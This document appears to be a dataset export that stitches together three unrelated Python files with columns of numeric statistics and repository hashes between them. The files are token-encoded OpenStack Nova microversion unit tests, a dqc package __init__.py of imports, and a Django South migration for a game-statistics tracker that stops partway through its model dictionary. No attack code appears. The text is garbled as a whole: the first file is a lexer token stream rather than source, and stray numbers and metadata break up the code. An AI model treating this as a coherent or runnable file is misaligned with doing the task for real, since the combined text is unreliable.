op|'(' string|'"nova.api.openstack.APIRouterV21.api_extension_namespace"' op|',' nl|'\n' name|'return_value' op|'=' string|"'nova.api.v21.test_extensions'" op|')' newline|'\n' DECL|member|test_microversions_schema_fail name|'def' name|'test_microversions_schema_fail' op|'(' name|'self' op|',' name|'mock_namespace' op|',' name|'mock_maxver' op|')' op|':' newline|'\n' indent|' ' name|'mock_maxver' op|'.' name|'return_value' op|'=' name|'api_version' op|'.' name|'APIVersionRequest' op|'(' string|'"3.3"' op|')' newline|'\n' nl|'\n' name|'app' op|'=' name|'fakes' op|'.' name|'wsgi_app_v21' op|'(' name|'init_only' op|'=' string|"'test-microversions'" op|')' newline|'\n' name|'req' op|'=' name|'fakes' op|'.' name|'HTTPRequest' op|'.' name|'blank' op|'(' string|"'/v2/fake/microversions3'" op|')' newline|'\n' name|'req' op|'.' name|'method' op|'=' string|"'POST'" newline|'\n' name|'req' op|'.' name|'headers' op|'=' op|'{' name|'self' op|'.' name|'header_name' op|':' string|"'2.2'" op|'}' newline|'\n' name|'req' op|'.' name|'environ' op|'[' string|"'CONTENT_TYPE'" op|']' op|'=' string|'"application/json"' newline|'\n' name|'req' op|'.' name|'body' op|'=' name|'jsonutils' op|'.' name|'dump_as_bytes' op|'(' op|'{' string|"'dummy'" op|':' op|'{' string|"'invalid_param'" op|':' string|"'foo'" op|'}' op|'}' op|')' newline|'\n' nl|'\n' name|'res' op|'=' name|'req' op|'.' name|'get_response' op|'(' name|'app' op|')' newline|'\n' name|'self' op|'.' name|'assertEqual' op|'(' number|'400' op|',' name|'res' op|'.' name|'status_int' op|')' newline|'\n' name|'resp_json' op|'=' name|'jsonutils' op|'.' name|'loads' op|'(' name|'res' op|'.' name|'body' op|')' newline|'\n' name|'self' op|'.' name|'assertTrue' op|'(' name|'resp_json' op|'[' string|"'badRequest'" op|']' op|'[' string|"'message'" op|']' op|'.' name|'startswith' op|'(' nl|'\n' string|'"Invalid input for field/attribute dummy."' op|')' op|')' newline|'\n' nl|'\n' dedent|'' op|'@' name|'mock' op|'.' name|'patch' op|'(' string|'"nova.api.openstack.api_version_request.max_api_version"' op|')' newline|'\n' op|'@' name|'mock' op|'.' name|'patch' op|'(' string|'"nova.api.openstack.APIRouterV21.api_extension_namespace"' op|',' nl|'\n' name|'return_value' op|'=' string|"'nova.api.v21.test_extensions'" op|')' newline|'\n' DECL|member|test_microversions_schema_out_of_version_check name|'def' name|'test_microversions_schema_out_of_version_check' op|'(' name|'self' op|',' name|'mock_namespace' op|',' nl|'\n' name|'mock_maxver' op|')' op|':' newline|'\n' indent|' ' name|'mock_maxver' op|'.' name|'return_value' op|'=' name|'api_version' op|'.' name|'APIVersionRequest' op|'(' string|'"3.3"' op|')' newline|'\n' nl|'\n' name|'app' op|'=' name|'fakes' op|'.' name|'wsgi_app_v21' op|'(' name|'init_only' op|'=' string|"'test-microversions'" op|')' newline|'\n' name|'req' op|'=' name|'fakes' op|'.' name|'HTTPRequest' op|'.' name|'blank' op|'(' string|"'/v2/fake/microversions3/1'" op|')' newline|'\n' name|'req' op|'.' name|'method' op|'=' string|"'PUT'" newline|'\n' name|'req' op|'.' name|'headers' op|'=' op|'{' name|'self' op|'.' name|'header_name' op|':' string|"'2.2'" op|'}' newline|'\n' name|'req' op|'.' name|'body' op|'=' name|'jsonutils' op|'.' name|'dump_as_bytes' op|'(' op|'{' string|"'dummy'" op|':' op|'{' string|"'inv_val'" op|':' string|"'foo'" op|'}' op|'}' op|')' newline|'\n' name|'req' op|'.' name|'environ' op|'[' string|"'CONTENT_TYPE'" op|']' op|'=' string|'"application/json"' newline|'\n' nl|'\n' name|'res' op|'=' name|'req' op|'.' name|'get_response' op|'(' name|'app' op|')' newline|'\n' name|'self' op|'.' name|'assertEqual' op|'(' number|'200' op|',' name|'res' op|'.' name|'status_int' op|')' newline|'\n' name|'resp_json' op|'=' name|'jsonutils' op|'.' name|'loads' op|'(' name|'res' op|'.' name|'body' op|')' newline|'\n' name|'self' op|'.' name|'assertEqual' op|'(' string|"'update_val1'" op|',' name|'resp_json' op|'[' string|"'param'" op|']' op|')' newline|'\n' name|'self' op|'.' name|'assertEqual' op|'(' string|'"2.2"' op|',' name|'res' op|'.' name|'headers' op|'[' name|'self' op|'.' name|'header_name' op|']' op|')' newline|'\n' nl|'\n' dedent|'' op|'@' name|'mock' op|'.' name|'patch' op|'(' string|'"nova.api.openstack.api_version_request.max_api_version"' op|')' newline|'\n' op|'@' name|'mock' op|'.' name|'patch' op|'(' string|'"nova.api.openstack.APIRouterV21.api_extension_namespace"' op|',' nl|'\n' name|'return_value' op|'=' string|"'nova.api.v21.test_extensions'" op|')' newline|'\n' DECL|member|test_microversions_schema_second_version name|'def' name|'test_microversions_schema_second_version' op|'(' name|'self' op|',' name|'mock_namespace' op|',' nl|'\n' name|'mock_maxver' op|')' op|':' newline|'\n' indent|' ' name|'mock_maxver' op|'.' name|'return_value' op|'=' name|'api_version' op|'.' name|'APIVersionRequest' op|'(' string|'"3.3"' op|')' newline|'\n' nl|'\n' name|'app' op|'=' name|'fakes' op|'.' name|'wsgi_app_v21' op|'(' name|'init_only' op|'=' string|"'test-microversions'" op|')' newline|'\n' name|'req' op|'=' name|'fakes' op|'.' name|'HTTPRequest' op|'.' name|'blank' op|'(' string|"'/v2/fake/microversions3/1'" op|')' newline|'\n' name|'req' op|'.' name|'headers' op|'=' op|'{' name|'self' op|'.' name|'header_name' op|':' string|"'2.10'" op|'}' newline|'\n' name|'req' op|'.' name|'environ' op|'[' string|"'CONTENT_TYPE'" op|']' op|'=' string|'"application/json"' newline|'\n' name|'req' op|'.' name|'method' op|'=' string|"'PUT'" newline|'\n' name|'req' op|'.' name|'body' op|'=' name|'jsonutils' op|'.' name|'dump_as_bytes' op|'(' op|'{' string|"'dummy'" op|':' op|'{' string|"'val2'" op|':' string|"'foo'" op|'}' op|'}' op|')' newline|'\n' nl|'\n' name|'res' op|'=' name|'req' op|'.' name|'get_response' op|'(' name|'app' op|')' newline|'\n' name|'self' op|'.' name|'assertEqual' op|'(' number|'200' op|',' name|'res' op|'.' name|'status_int' op|')' newline|'\n' name|'resp_json' op|'=' name|'jsonutils' op|'.' name|'loads' op|'(' name|'res' op|'.' name|'body' op|')' newline|'\n' name|'self' op|'.' name|'assertEqual' op|'(' string|"'update_val1'" op|',' name|'resp_json' op|'[' string|"'param'" op|']' op|')' newline|'\n' name|'self' op|'.' name|'assertEqual' op|'(' string|'"2.10"' op|',' name|'res' op|'.' name|'headers' op|'[' name|'self' op|'.' name|'header_name' op|']' op|')' newline|'\n' nl|'\n' dedent|'' op|'@' name|'mock' op|'.' name|'patch' op|'(' string|'"nova.api.openstack.api_version_request.max_api_version"' op|')' newline|'\n' op|'@' name|'mock' op|'.' name|'patch' op|'(' string|'"nova.api.openstack.APIRouterV21.api_extension_namespace"' op|',' nl|'\n' name|'return_value' op|'=' string|"'nova.api.v21.test_extensions'" op|')' newline|'\n' DECL|member|_test_microversions_inner_function name|'def' name|'_test_microversions_inner_function' op|'(' name|'self' op|',' name|'version' op|',' name|'expected_resp' op|',' nl|'\n' name|'mock_namespace' op|',' nl|'\n' name|'mock_maxver' op|')' op|':' newline|'\n' indent|' ' name|'mock_maxver' op|'.' name|'return_value' op|'=' name|'api_version' op|'.' name|'APIVersionRequest' op|'(' string|'"2.2"' op|')' newline|'\n' name|'app' op|'=' name|'fakes' op|'.' name|'wsgi_app_v21' op|'(' name|'init_only' op|'=' string|"'test-microversions'" op|')' newline|'\n' name|'req' op|'=' name|'fakes' op|'.' name|'HTTPRequest' op|'.' name|'blank' op|'(' string|"'/v2/fake/microversions4'" op|')' newline|'\n' name|'req' op|'.' name|'headers' op|'=' op|'{' name|'self' op|'.' name|'header_name' op|':' name|'version' op|'}' newline|'\n' name|'req' op|'.' name|'environ' op|'[' string|"'CONTENT_TYPE'" op|']' op|'=' string|'"application/json"' newline|'\n' name|'req' op|'.' name|'method' op|'=' string|"'POST'" newline|'\n' nl|'\n' name|'res' op|'=' name|'req' op|'.' name|'get_response' op|'(' name|'app' op|')' newline|'\n' name|'self' op|'.' name|'assertEqual' op|'(' number|'200' op|',' name|'res' op|'.' name|'status_int' op|')' newline|'\n' name|'resp_json' op|'=' name|'jsonutils' op|'.' name|'loads' op|'(' name|'res' op|'.' name|'body' op|')' newline|'\n' name|'self' op|'.' name|'assertEqual' op|'(' name|'expected_resp' op|',' name|'resp_json' op|'[' string|"'param'" op|']' op|')' newline|'\n' name|'self' op|'.' name|'assertEqual' op|'(' name|'version' op|',' name|'res' op|'.' name|'headers' op|'[' name|'self' op|'.' name|'header_name' op|']' op|')' newline|'\n' nl|'\n' DECL|member|test_microversions_inner_function_v22 dedent|'' name|'def' name|'test_microversions_inner_function_v22' op|'(' name|'self' op|')' op|':' newline|'\n' indent|' ' name|'self' op|'.' name|'_test_microversions_inner_function' op|'(' string|"'2.2'" op|',' string|"'controller4_val2'" op|')' newline|'\n' nl|'\n' DECL|member|test_microversions_inner_function_v21 dedent|'' name|'def' name|'test_microversions_inner_function_v21' op|'(' name|'self' op|')' op|':' newline|'\n' indent|' ' name|'self' op|'.' name|'_test_microversions_inner_function' op|'(' string|"'2.1'" op|',' string|"'controller4_val1'" op|')' newline|'\n' nl|'\n' dedent|'' op|'@' name|'mock' op|'.' name|'patch' op|'(' string|'"nova.api.openstack.api_version_request.max_api_version"' op|')' newline|'\n' op|'@' name|'mock' op|'.' name|'patch' op|'(' string|'"nova.api.openstack.APIRouterV21.api_extension_namespace"' op|',' nl|'\n' name|'return_value' op|'=' string|"'nova.api.v21.test_extensions'" op|')' newline|'\n' DECL|member|test_with_extends_decorator name|'def' name|'test_with_extends_decorator' op|'(' name|'self' op|',' name|'mock_namespace' op|',' name|'mock_maxver' op|')' op|':' newline|'\n' indent|' ' name|'mock_maxver' op|'.' name|'return_value' op|'=' name|'api_version' op|'.' name|'APIVersionRequest' op|'(' string|"'2.4'" op|')' newline|'\n' nl|'\n' name|'app' op|'=' name|'fakes' op|'.' name|'wsgi_app_v21' op|'(' name|'init_only' op|'=' string|"'test-microversions'" op|')' newline|'\n' name|'req' op|'=' name|'fakes' op|'.' name|'HTTPRequest' op|'.' name|'blank' op|'(' string|"'/v2/fake/microversions5/item'" op|')' newline|'\n' name|'req' op|'.' name|'headers' op|'=' op|'{' string|"'X-OpenStack-Nova-API-Version'" op|':' string|"'2.4'" op|'}' newline|'\n' name|'res' op|'=' name|'req' op|'.' name|'get_response' op|'(' name|'app' op|')' newline|'\n' name|'self' op|'.' name|'assertEqual' op|'(' number|'200' op|',' name|'res' op|'.' name|'status_int' op|')' newline|'\n' nl|'\n' name|'expected_res' op|'=' op|'{' nl|'\n' string|'"extend_ctrlr2"' op|':' string|'"val_2"' op|',' nl|'\n' string|'"extend_ctrlr1"' op|':' string|'"val_1"' op|',' nl|'\n' string|'"base_param"' op|':' string|'"base_val"' op|'}' newline|'\n' nl|'\n' name|'resp_json' op|'=' name|'jsonutils' op|'.' name|'loads' op|'(' name|'res' op|'.' name|'body' op|')' newline|'\n' name|'for' name|'param' name|'in' name|'resp_json' op|':' newline|'\n' indent|' ' name|'self' op|'.' name|'assertIn' op|'(' name|'param' op|',' name|'expected_res' op|')' newline|'\n' name|'self' op|'.' name|'assertEqual' op|'(' name|'expected_res' op|'[' name|'param' op|']' op|',' name|'resp_json' op|'[' name|'param' op|']' op|')' newline|'\n' dedent|'' name|'self' op|'.' name|'assertEqual' op|'(' number|'3' op|',' name|'len' op|'(' name|'resp_json' op|')' op|')' newline|'\n' nl|'\n' dedent|'' op|'@' name|'mock' op|'.' name|'patch' op|'(' string|'"nova.api.openstack.api_version_request.max_api_version"' op|')' newline|'\n' op|'@' name|'mock' op|'.' name|'patch' op|'(' string|'"nova.api.openstack.APIRouterV21.api_extension_namespace"' op|',' nl|'\n' name|'return_value' op|'=' string|"'nova.api.v21.test_extensions'" op|')' newline|'\n' DECL|member|_test_microversions_actions name|'def' name|'_test_microversions_actions' op|'(' name|'self' op|',' name|'ret_code' op|',' name|'ret_header' op|',' name|'req_header' op|',' nl|'\n' name|'mock_namespace' op|',' nl|'\n' name|'mock_maxver' op|')' op|':' newline|'\n' indent|' ' name|'mock_maxver' op|'.' name|'return_value' op|'=' name|'api_version' op|'.' name|'APIVersionRequest' op|'(' string|'"2.3"' op|')' newline|'\n' nl|'\n' name|'app' op|'=' name|'fakes' op|'.' name|'wsgi_app_v21' op|'(' name|'init_only' op|'=' string|"'test-microversions'" op|')' newline|'\n' name|'req' op|'=' name|'fakes' op|'.' name|'HTTPRequest' op|'.' name|'blank' op|'(' string|"'/v2/fake/microversions3/1/action'" op|')' newline|'\n' name|'if' name|'req_header' op|':' newline|'\n' indent|' ' name|'req' op|'.' name|'headers' op|'=' op|'{' name|'self' op|'.' name|'header_name' op|':' name|'req_header' op|'}' newline|'\n' dedent|'' name|'req' op|'.' name|'method' op|'=' string|"'POST'" newline|'\n' name|'req' op|'.' name|'body' op|'=' name|'jsonutils' op|'.' name|'dump_as_bytes' op|'(' op|'{' string|"'foo'" op|':' name|'None' op|'}' op|')' newline|'\n' nl|'\n' name|'res' op|'=' name|'self' op|'.' name|'_test_microversions' op|'(' name|'app' op|',' name|'req' op|',' name|'ret_code' op|',' nl|'\n' name|'ret_header' op|'=' name|'ret_header' op|')' newline|'\n' name|'if' name|'ret_code' op|'==' number|'202' op|':' newline|'\n' indent|' ' name|'resp_json' op|'=' name|'jsonutils' op|'.' name|'loads' op|'(' name|'res' op|'.' name|'body' op|')' newline|'\n' name|'self' op|'.' name|'assertEqual' op|'(' op|'{' string|"'foo'" op|':' string|"'bar'" op|'}' op|',' name|'resp_json' op|')' newline|'\n' nl|'\n' DECL|member|test_microversions_actions dedent|'' dedent|'' name|'def' name|'test_microversions_actions' op|'(' name|'self' op|')' op|':' newline|'\n' indent|' ' name|'self' op|'.' name|'_test_microversions_actions' op|'(' number|'202' op|',' string|'"2.1"' op|',' string|'"2.1"' op|')' newline|'\n' nl|'\n' DECL|member|test_microversions_actions_too_high dedent|'' name|'def' name|'test_microversions_actions_too_high' op|'(' name|'self' op|')' op|':' newline|'\n' indent|' ' name|'self' op|'.' name|'_test_microversions_actions' op|'(' number|'404' op|',' string|'"2.3"' op|',' string|'"2.3"' op|')' newline|'\n' nl|'\n' DECL|member|test_microversions_actions_no_header dedent|'' name|'def' name|'test_microversions_actions_no_header' op|'(' name|'self' op|')' op|':' newline|'\n' indent|' ' name|'self' op|'.' name|'_test_microversions_actions' op|'(' number|'202' op|',' string|'"2.1"' op|',' name|'None' op|')' newline|'\n' dedent|'' dedent|'' endmarker|'' end_unit
13.005684
88
0.618758
5,054
34,322
4.085081
0.043134
0.171752
0.099293
0.068488
0.932771
0.906277
0.8746
0.843166
0.825681
0.81982
0
0.010288
0.088048
34,322
2,638
89
13.010614
0.649329
0
0
0.959818
0
0
0.390974
0.107715
0
0
0
0
0.0163
0
null
null
0
0.001895
null
null
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
8
26d905bf6f3801f42858aa52d730622b0424190e
251
py
Python
dqc/hamilton/intor/__init__.py
Jaikinator/dqc
47c964c7d1323a35f4f69521d40476c41843810e
[ "Apache-2.0" ]
39
2021-05-31T17:01:23.000Z
2022-03-23T19:20:35.000Z
dqc/hamilton/intor/__init__.py
Jaikinator/dqc
47c964c7d1323a35f4f69521d40476c41843810e
[ "Apache-2.0" ]
14
2021-09-01T13:39:11.000Z
2022-03-13T16:45:39.000Z
dqc/hamilton/intor/__init__.py
Jaikinator/dqc
47c964c7d1323a35f4f69521d40476c41843810e
[ "Apache-2.0" ]
6
2021-07-16T09:08:29.000Z
2022-02-24T01:13:54.000Z
from dqc.hamilton.intor.lcintwrap import * from dqc.hamilton.intor.molintor import * from dqc.hamilton.intor.pbcintor import * from dqc.hamilton.intor.pbcftintor import * from dqc.hamilton.intor.gtoeval import * from dqc.hamilton.intor.gtoft import *
35.857143
43
0.808765
36
251
5.638889
0.305556
0.206897
0.44335
0.591133
0.640394
0
0
0
0
0
0
0
0.095618
251
6
44
41.833333
0.894273
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
f803d717649808e57bd8b16bb41ca2440c813db3
28,855
py
Python
tracker/south_migrations/0001_initial.py
AB-informatica-service/swat4stats.com
c3a7e83953373b8d876a4ca7055b59168f345442
[ "MIT" ]
14
2015-04-02T06:50:10.000Z
2021-02-18T13:26:46.000Z
tracker/south_migrations/0001_initial.py
AB-informatica-service/swat4stats.com
c3a7e83953373b8d876a4ca7055b59168f345442
[ "MIT" ]
4
2016-09-09T19:27:44.000Z
2020-05-08T17:59:31.000Z
tracker/south_migrations/0001_initial.py
AB-informatica-service/swat4stats.com
c3a7e83953373b8d876a4ca7055b59168f345442
[ "MIT" ]
8
2015-01-03T02:44:04.000Z
2022-03-23T19:52:00.000Z
# -*- coding: utf-8 -*- from south.utils import datetime_utils as datetime from south.db import db from south.v2 import SchemaMigration from django.db import models class Migration(SchemaMigration): def forwards(self, orm): # Adding model 'Server' db.create_table('tracker_server', ( ('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)), ('ip', self.gf('django.db.models.fields.GenericIPAddressField')(max_length=39)), ('port', self.gf('django.db.models.fields.PositiveIntegerField')()), ('key', self.gf('django.db.models.fields.CharField')(max_length=32)), ('enabled', self.gf('django.db.models.fields.BooleanField')(default=False)), ('streamed', self.gf('django.db.models.fields.BooleanField')(default=False)), ('listed', self.gf('django.db.models.fields.BooleanField')(default=False)), ('port_gs1', self.gf('django.db.models.fields.PositiveIntegerField')(blank=True, null=True)), ('port_gs2', self.gf('django.db.models.fields.PositiveIntegerField')(blank=True, null=True)), ('country', self.gf('django.db.models.fields.CharField')(blank=True, max_length=2, null=True)), )) db.send_create_signal('tracker', ['Server']) # Adding unique constraint on 'Server', fields ['ip', 'port'] db.create_unique('tracker_server', ['ip', 'port']) # Adding model 'Game' db.create_table('tracker_game', ( ('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)), ('server', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['tracker.Server'], on_delete=models.SET_NULL, null=True)), ('tag', self.gf('django.db.models.fields.CharField')(max_length=8, null=True, unique=True)), ('time', self.gf('django.db.models.fields.SmallIntegerField')(default=0)), ('outcome', self.gf('django.db.models.fields.SmallIntegerField')(default=0)), ('gametype', self.gf('django.db.models.fields.SmallIntegerField')(null=True)), ('mapname', self.gf('django.db.models.fields.SmallIntegerField')(null=True)), ('player_num', self.gf('django.db.models.fields.SmallIntegerField')(default=0)), ('score_swat', self.gf('django.db.models.fields.SmallIntegerField')(default=0)), ('score_sus', self.gf('django.db.models.fields.SmallIntegerField')(default=0)), ('vict_swat', self.gf('django.db.models.fields.SmallIntegerField')(default=0)), ('vict_sus', self.gf('django.db.models.fields.SmallIntegerField')(default=0)), ('rd_bombs_defused', self.gf('django.db.models.fields.SmallIntegerField')(default=0)), ('rd_bombs_total', self.gf('django.db.models.fields.SmallIntegerField')(default=0)), ('coop_score', self.gf('django.db.models.fields.SmallIntegerField')(default=0)), ('date_finished', self.gf('django.db.models.fields.DateTimeField')(blank=True, auto_now_add=True)), )) db.send_create_signal('tracker', ['Game']) # Adding model 'Loadout' db.create_table('tracker_loadout', ( ('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)), ('primary', self.gf('django.db.models.fields.SmallIntegerField')(default=0)), ('primary_ammo', self.gf('django.db.models.fields.SmallIntegerField')(default=0)), ('secondary', self.gf('django.db.models.fields.SmallIntegerField')(default=0)), ('secondary_ammo', self.gf('django.db.models.fields.SmallIntegerField')(default=0)), ('equip_one', self.gf('django.db.models.fields.SmallIntegerField')(default=0)), ('equip_two', self.gf('django.db.models.fields.SmallIntegerField')(default=0)), ('equip_three', self.gf('django.db.models.fields.SmallIntegerField')(default=0)), ('equip_four', self.gf('django.db.models.fields.SmallIntegerField')(default=0)), ('equip_five', self.gf('django.db.models.fields.SmallIntegerField')(default=0)), ('breacher', self.gf('django.db.models.fields.SmallIntegerField')(default=0)), ('head', self.gf('django.db.models.fields.SmallIntegerField')(default=0)), ('body', self.gf('django.db.models.fields.SmallIntegerField')(default=0)), )) db.send_create_signal('tracker', ['Loadout']) # Adding model 'Weapon' db.create_table('tracker_weapon', ( ('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)), ('player', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['tracker.Player'])), ('name', self.gf('django.db.models.fields.SmallIntegerField')()), ('time', self.gf('django.db.models.fields.SmallIntegerField')(default=0)), ('shots', self.gf('django.db.models.fields.SmallIntegerField')(default=0)), ('hits', self.gf('django.db.models.fields.SmallIntegerField')(default=0)), ('teamhits', self.gf('django.db.models.fields.SmallIntegerField')(default=0)), ('kills', self.gf('django.db.models.fields.SmallIntegerField')(default=0)), ('teamkills', self.gf('django.db.models.fields.SmallIntegerField')(default=0)), ('distance', self.gf('django.db.models.fields.FloatField')(default=0)), )) db.send_create_signal('tracker', ['Weapon']) # Adding model 'Alias' db.create_table('tracker_alias', ( ('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)), ('profile', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['tracker.Profile'])), ('name', self.gf('django.db.models.fields.CharField')(max_length=64)), ('isp', self.gf('django.db.models.fields.related.ForeignKey')(related_name='+', on_delete=models.SET_NULL, null=True, to=orm['tracker.ISP'])), )) db.send_create_signal('tracker', ['Alias']) # Adding index on 'Alias', fields ['name', 'isp'] db.create_index('tracker_alias', ['name', 'isp_id']) # Adding model 'Player' db.create_table('tracker_player', ( ('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)), ('game', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['tracker.Game'])), ('alias', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['tracker.Alias'])), ('loadout', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['tracker.Loadout'], on_delete=models.SET_NULL, null=True)), ('ip', self.gf('django.db.models.fields.GenericIPAddressField')(max_length=39)), ('team', self.gf('django.db.models.fields.SmallIntegerField')(null=True)), ('vip', self.gf('django.db.models.fields.BooleanField')(default=False)), ('admin', self.gf('django.db.models.fields.BooleanField')(default=False)), ('dropped', self.gf('django.db.models.fields.BooleanField')(default=False)), ('coop_status', self.gf('django.db.models.fields.SmallIntegerField')(default=0)), ('score', self.gf('django.db.models.fields.SmallIntegerField')(default=0)), ('time', self.gf('django.db.models.fields.SmallIntegerField')(default=0)), ('kills', self.gf('django.db.models.fields.SmallIntegerField')(default=0)), ('teamkills', self.gf('django.db.models.fields.SmallIntegerField')(default=0)), ('deaths', self.gf('django.db.models.fields.SmallIntegerField')(default=0)), ('suicides', self.gf('django.db.models.fields.SmallIntegerField')(default=0)), ('arrests', self.gf('django.db.models.fields.SmallIntegerField')(default=0)), ('arrested', self.gf('django.db.models.fields.SmallIntegerField')(default=0)), ('kill_streak', self.gf('django.db.models.fields.SmallIntegerField')(default=0)), ('arrest_streak', self.gf('django.db.models.fields.SmallIntegerField')(default=0)), ('death_streak', self.gf('django.db.models.fields.SmallIntegerField')(default=0)), ('vip_captures', self.gf('django.db.models.fields.SmallIntegerField')(default=0)), ('vip_rescues', self.gf('django.db.models.fields.SmallIntegerField')(default=0)), ('vip_escapes', self.gf('django.db.models.fields.SmallIntegerField')(default=0)), ('vip_kills_valid', self.gf('django.db.models.fields.SmallIntegerField')(default=0)), ('vip_kills_invalid', self.gf('django.db.models.fields.SmallIntegerField')(default=0)), ('rd_bombs_defused', self.gf('django.db.models.fields.SmallIntegerField')(default=0)), ('sg_escapes', self.gf('django.db.models.fields.SmallIntegerField')(default=0)), ('sg_kills', self.gf('django.db.models.fields.SmallIntegerField')(default=0)), ('coop_hostage_arrests', self.gf('django.db.models.fields.SmallIntegerField')(default=0)), ('coop_hostage_hits', self.gf('django.db.models.fields.SmallIntegerField')(default=0)), ('coop_hostage_incaps', self.gf('django.db.models.fields.SmallIntegerField')(default=0)), ('coop_hostage_kills', self.gf('django.db.models.fields.SmallIntegerField')(default=0)), ('coop_enemy_arrests', self.gf('django.db.models.fields.SmallIntegerField')(default=0)), ('coop_enemy_incaps', self.gf('django.db.models.fields.SmallIntegerField')(default=0)), ('coop_enemy_kills', self.gf('django.db.models.fields.SmallIntegerField')(default=0)), ('coop_enemy_incaps_invalid', self.gf('django.db.models.fields.SmallIntegerField')(default=0)), ('coop_enemy_kills_invalid', self.gf('django.db.models.fields.SmallIntegerField')(default=0)), ('coop_toc_reports', self.gf('django.db.models.fields.SmallIntegerField')(default=0)), )) db.send_create_signal('tracker', ['Player']) # Adding model 'Objective' db.create_table('tracker_objective', ( ('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)), ('game', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['tracker.Game'])), ('name', self.gf('django.db.models.fields.SmallIntegerField')()), ('status', self.gf('django.db.models.fields.SmallIntegerField')(default=0)), )) db.send_create_signal('tracker', ['Objective']) # Adding model 'Procedure' db.create_table('tracker_procedure', ( ('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)), ('game', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['tracker.Game'])), ('name', self.gf('django.db.models.fields.SmallIntegerField')()), ('status', self.gf('django.db.models.fields.CharField')(max_length=7)), ('score', self.gf('django.db.models.fields.SmallIntegerField')(default=0)), )) db.send_create_signal('tracker', ['Procedure']) # Adding model 'IP' db.create_table('tracker_ip', ( ('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)), ('isp', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['tracker.ISP'], null=True)), ('range_from', self.gf('django.db.models.fields.BigIntegerField')()), ('range_to', self.gf('django.db.models.fields.BigIntegerField')()), ('date_created', self.gf('django.db.models.fields.DateTimeField')(blank=True, auto_now_add=True)), )) db.send_create_signal('tracker', ['IP']) # Adding unique constraint on 'IP', fields ['range_from', 'range_to'] db.create_unique('tracker_ip', ['range_from', 'range_to']) # Adding model 'ISP' db.create_table('tracker_isp', ( ('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)), ('name', self.gf('django.db.models.fields.CharField')(max_length=255, null=True)), ('country', self.gf('django.db.models.fields.CharField')(max_length=2, null=True)), )) db.send_create_signal('tracker', ['ISP']) # Adding model 'Profile' db.create_table('tracker_profile', ( ('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)), ('name', self.gf('django.db.models.fields.CharField')(max_length=64, null=True)), ('team', self.gf('django.db.models.fields.SmallIntegerField')(null=True)), ('country', self.gf('django.db.models.fields.CharField')(max_length=2, null=True)), ('loadout', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['tracker.Loadout'], on_delete=models.SET_NULL, null=True)), ('game_first', self.gf('django.db.models.fields.related.ForeignKey')(related_name='+', on_delete=models.SET_NULL, null=True, to=orm['tracker.Game'])), ('game_last', self.gf('django.db.models.fields.related.ForeignKey')(related_name='+', on_delete=models.SET_NULL, null=True, to=orm['tracker.Game'])), )) db.send_create_signal('tracker', ['Profile']) # Adding model 'Rank' db.create_table('tracker_rank', ( ('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)), ('category', self.gf('django.db.models.fields.SmallIntegerField')()), ('year', self.gf('django.db.models.fields.SmallIntegerField')()), ('profile', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['tracker.Profile'])), ('points', self.gf('django.db.models.fields.FloatField')(default=0)), ('position', self.gf('django.db.models.fields.PositiveIntegerField')(db_index=True, null=True)), )) db.send_create_signal('tracker', ['Rank']) # Adding unique constraint on 'Rank', fields ['year', 'category', 'profile'] db.create_unique('tracker_rank', ['year', 'category', 'profile_id']) def backwards(self, orm): # Removing unique constraint on 'Rank', fields ['year', 'category', 'profile'] db.delete_unique('tracker_rank', ['year', 'category', 'profile_id']) # Removing unique constraint on 'IP', fields ['range_from', 'range_to'] db.delete_unique('tracker_ip', ['range_from', 'range_to']) # Removing index on 'Alias', fields ['name', 'isp'] db.delete_index('tracker_alias', ['name', 'isp_id']) # Removing unique constraint on 'Server', fields ['ip', 'port'] db.delete_unique('tracker_server', ['ip', 'port']) # Deleting model 'Server' db.delete_table('tracker_server') # Deleting model 'Game' db.delete_table('tracker_game') # Deleting model 'Loadout' db.delete_table('tracker_loadout') # Deleting model 'Weapon' db.delete_table('tracker_weapon') # Deleting model 'Alias' db.delete_table('tracker_alias') # Deleting model 'Player' db.delete_table('tracker_player') # Deleting model 'Objective' db.delete_table('tracker_objective') # Deleting model 'Procedure' db.delete_table('tracker_procedure') # Deleting model 'IP' db.delete_table('tracker_ip') # Deleting model 'ISP' db.delete_table('tracker_isp') # Deleting model 'Profile' db.delete_table('tracker_profile') # Deleting model 'Rank' db.delete_table('tracker_rank') models = { 'tracker.alias': { 'Meta': {'index_together': "(('name', 'isp'),)", 'object_name': 'Alias'}, 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'isp': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'+'", 'on_delete': 'models.SET_NULL', 'null': 'True', 'to': "orm['tracker.ISP']"}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '64'}), 'profile': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['tracker.Profile']"}) }, 'tracker.game': { 'Meta': {'object_name': 'Game'}, 'coop_score': ('django.db.models.fields.SmallIntegerField', [], {'default': '0'}), 'date_finished': ('django.db.models.fields.DateTimeField', [], {'blank': 'True', 'auto_now_add': 